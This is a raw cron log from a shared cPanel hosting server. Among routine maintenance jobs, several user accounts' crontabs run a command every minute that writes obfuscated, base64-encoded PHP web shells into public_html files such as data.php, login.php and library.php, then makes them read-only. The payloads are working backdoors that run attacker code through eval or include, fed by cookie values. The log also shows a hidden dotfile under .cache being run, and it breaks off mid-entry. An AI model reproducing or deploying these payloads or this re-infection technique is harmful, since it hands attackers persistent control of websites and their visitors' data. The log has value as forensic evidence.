Mar  1 15:25:02 medusa CROND[3008]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:25:02 medusa CROND[3005]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:25:02 medusa CROND[3011]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:25:02 medusa CROND[3014]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:25:02 medusa CROND[3015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:25:02 medusa CROND[3012]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:25:02 medusa CROND[3013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:26:02 medusa CROND[25458]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:26:02 medusa CROND[25459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:26:02 medusa CROND[25460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:26:02 medusa CROND[25461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:26:02 medusa CROND[25462]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:26:02 medusa CROND[25463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:26:02 medusa CROND[25464]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:26:02 medusa CROND[25465]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:26:02 medusa CROND[25470]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:26:02 medusa CROND[25471]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:26:02 medusa CROND[25473]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:26:02 medusa CROND[25475]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:26:02 medusa CROND[25479]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:26:02 medusa CROND[25481]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:27:01 medusa CROND[15433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:27:01 medusa CROND[15434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:27:01 medusa CROND[15435]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:27:01 medusa CROND[15438]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:27:01 medusa CROND[15442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:27:01 medusa CROND[15443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:27:01 medusa CROND[15444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:27:01 medusa CROND[15445]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:27:01 medusa CROND[15446]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:27:01 medusa CROND[15447]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:27:01 medusa CROND[15448]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:27:01 medusa CROND[15449]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 